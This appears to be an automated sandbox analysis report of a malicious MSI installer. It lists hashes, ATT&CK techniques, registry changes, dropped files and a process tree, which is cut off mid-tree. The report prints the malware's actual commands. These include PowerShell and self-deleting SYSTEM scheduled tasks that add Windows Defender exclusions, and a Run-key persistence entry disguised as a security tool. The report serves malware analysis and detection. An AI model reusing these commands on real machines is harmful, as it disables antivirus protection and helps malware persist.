eac9597153bf17bea92b1478b3b585e3a82d084dc84a97bf359a134289c6cf0f

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 05:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
app_setup.6653012.msi
Size 7.4MB
Sample260712-ggte3ads2l
SHA256 eac9597153bf17bea92b1478b3b585e3a82d084dc84a97bf359a134289c6cf0f
MD5 fe87ca6414094482b9ce161cce802c57
SHA1 ebaa7cf2a976a6f45bb75b5e01354d5f848ad51d
SHA512 e59883e0f64e161545624a3d4f702164212a57ac0f3c16a691313315296fc527d88b4492cec64da65c0d74c524751778d5af57f4616bec4d56b2a4f2e00b2213
SSDEEP 196608:kImeVrS2ssohTmflgU6nAm6L6HR72ChTXoaTGb22:TVN5oZmmAxOtJTGbF
TLSH
T1A67633A6BEC4B5B0D007C77A400263AF712DBFCBEB359C1676E9799C5D7232094B2249
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\GkVfJh = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4652	zJnlz2.exe

Loads dropped DLL 2 IoCs

pid	Process
5600	MsiExec.exe
4652	zJnlz2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2884	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\GkVfJh\\zJnlz2.exe\""	zJnlz2.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5600	MsiExec.exe
8	5600	MsiExec.exe
9	5600	MsiExec.exe
10	5600	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5340	cmd.exe
1108	cmd.exe
2148	cmd.exe
5944	cmd.exe
5756	cmd.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	zJnlz2.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\OXuwqa\thumbs.db	zJnlz2.exe
File opened for modification	C:\Program Files (x86)\OXuwqa\uLAuf2.exe	zJnlz2.exe
File opened for modification	C:\Program Files (x86)\OXuwqa\XPSPLOG.dll	zJnlz2.exe
File opened for modification	C:\Program Files (x86)\OXuwqa\image.png	zJnlz2.exe
File created	C:\Program Files (x86)\OXuwqa\uLAuf2.exe	zJnlz2.exe
File created	C:\Program Files (x86)\OXuwqa\XPSPLOG.dll	zJnlz2.exe
File opened for modification	C:\Program Files (x86)\OXuwqa\thumbs.db	zJnlz2.exe
File opened for modification	C:\Program Files (x86)\OXuwqa	zJnlz2.exe
File created	C:\Program Files (x86)\OXuwqa\image.png	zJnlz2.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e5976af.msi	msiexec.exe
File created	C:\Windows\Installer\e5976ad.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8DD15730EA7B15B2.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCE36273D8508054E.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF05FE4CC22369CEFC.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e5976ad.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD39B86C3E9D08F83.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{DBE37440-1514-4BD7-8D8E-BFF5D9F3B754}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7C79.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7D17.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3564	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Version = "50462843"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\PackageName = "app_setup.6653012.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\PackageCode = "777DEACB9E3C73246B6ACE7F27576C77"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45\UpdFeatYKQD	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\ProductName = "Ali Licensing Agent Dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3068	schtasks.exe
2732	schtasks.exe
860	schtasks.exe
3624	schtasks.exe
4928	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4636	msiexec.exe
4636	msiexec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe
4652	zJnlz2.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3564	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3564	msiexec.exe
Token: SeSecurityPrivilege	4636	msiexec.exe
Token: SeCreateTokenPrivilege	3564	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3564	msiexec.exe
Token: SeLockMemoryPrivilege	3564	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3564	msiexec.exe
Token: SeMachineAccountPrivilege	3564	msiexec.exe
Token: SeTcbPrivilege	3564	msiexec.exe
Token: SeSecurityPrivilege	3564	msiexec.exe
Token: SeTakeOwnershipPrivilege	3564	msiexec.exe
Token: SeLoadDriverPrivilege	3564	msiexec.exe
Token: SeSystemProfilePrivilege	3564	msiexec.exe
Token: SeSystemtimePrivilege	3564	msiexec.exe
Token: SeProfSingleProcessPrivilege	3564	msiexec.exe
Token: SeIncBasePriorityPrivilege	3564	msiexec.exe
Token: SeCreatePagefilePrivilege	3564	msiexec.exe
Token: SeCreatePermanentPrivilege	3564	msiexec.exe
Token: SeBackupPrivilege	3564	msiexec.exe
Token: SeRestorePrivilege	3564	msiexec.exe
Token: SeShutdownPrivilege	3564	msiexec.exe
Token: SeDebugPrivilege	3564	msiexec.exe
Token: SeAuditPrivilege	3564	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3564	msiexec.exe
Token: SeChangeNotifyPrivilege	3564	msiexec.exe
Token: SeRemoteShutdownPrivilege	3564	msiexec.exe
Token: SeUndockPrivilege	3564	msiexec.exe
Token: SeSyncAgentPrivilege	3564	msiexec.exe
Token: SeEnableDelegationPrivilege	3564	msiexec.exe
Token: SeManageVolumePrivilege	3564	msiexec.exe
Token: SeImpersonatePrivilege	3564	msiexec.exe
Token: SeCreateGlobalPrivilege	3564	msiexec.exe
Token: SeBackupPrivilege	3632	vssvc.exe
Token: SeRestorePrivilege	3632	vssvc.exe
Token: SeAuditPrivilege	3632	vssvc.exe
Token: SeBackupPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeBackupPrivilege	2404	srtasks.exe
Token: SeRestorePrivilege	2404	srtasks.exe
Token: SeSecurityPrivilege	2404	srtasks.exe
Token: SeTakeOwnershipPrivilege	2404	srtasks.exe
Token: SeBackupPrivilege	2404	srtasks.exe
Token: SeRestorePrivilege	2404	srtasks.exe
Token: SeSecurityPrivilege	2404	srtasks.exe
Token: SeTakeOwnershipPrivilege	2404	srtasks.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe
Token: SeTakeOwnershipPrivilege	4636	msiexec.exe
Token: SeRestorePrivilege	4636	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3564	msiexec.exe
3564	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3564	msiexec.exe
4636	msiexec.exe
5600	MsiExec.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 2404	4636	msiexec.exe	92
PID 4636 wrote to memory of 5600	4636	msiexec.exe	94
PID 4652 wrote to memory of 4508	4652	zJnlz2.exe	98
PID 4652 wrote to memory of 5340	4652	zJnlz2.exe	100
PID 5340 wrote to memory of 3068	5340	cmd.exe	102
PID 5340 wrote to memory of 5348	5340	cmd.exe	104
PID 5340 wrote to memory of 3384	5340	cmd.exe	107
PID 4652 wrote to memory of 1108	4652	zJnlz2.exe	108
PID 1108 wrote to memory of 2732	1108	cmd.exe	110
PID 1108 wrote to memory of 3652	1108	cmd.exe	111
PID 1108 wrote to memory of 4112	1108	cmd.exe	113
PID 4652 wrote to memory of 2148	4652	zJnlz2.exe	117
PID 2148 wrote to memory of 860	2148	cmd.exe	119
PID 2148 wrote to memory of 5716	2148	cmd.exe	120
PID 2148 wrote to memory of 4216	2148	cmd.exe	122
PID 2080 wrote to memory of 2228	2080	cmd.exe	116
PID 5248 wrote to memory of 2120	5248	cmd.exe	123
PID 4652 wrote to memory of 5944	4652	zJnlz2.exe	125
PID 5944 wrote to memory of 3624	5944	cmd.exe	127
PID 5944 wrote to memory of 3468	5944	cmd.exe	128
PID 5944 wrote to memory of 5932	5944	cmd.exe	130
PID 4652 wrote to memory of 5756	4652	zJnlz2.exe	132
PID 5756 wrote to memory of 4928	5756	cmd.exe	134
PID 5756 wrote to memory of 4624	5756	cmd.exe	135
PID 5756 wrote to memory of 200	5756	cmd.exe	137
PID 3140 wrote to memory of 4220	3140	cmd.exe	140
PID 5104 wrote to memory of 120	5104	cmd.exe	141
PID 4716 wrote to memory of 2164	4716	cmd.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\app_setup.6653012.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3564

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 29D5A32DC56BA53D7A21A0476C57677D E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3632

C:\Users\Public\GkVfJh\zJnlz2.exe
"C:\Users\Public\GkVfJh\zJnlz2.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\GkVfJh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\GkVfJh\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2732
- - C:\Windows\system32\schtasks.exe
